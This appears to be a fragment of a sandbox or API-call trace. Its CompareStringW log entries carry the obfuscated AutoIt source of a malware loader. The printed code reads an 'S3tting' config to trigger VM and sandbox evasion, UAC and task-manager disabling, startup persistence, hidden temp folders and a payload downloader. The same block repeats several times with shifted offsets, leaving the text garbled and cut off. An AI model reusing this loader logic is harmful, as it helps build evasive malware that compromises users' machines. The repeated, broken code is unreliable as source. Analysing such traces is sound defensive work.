Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\s", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\sp", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="86 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' 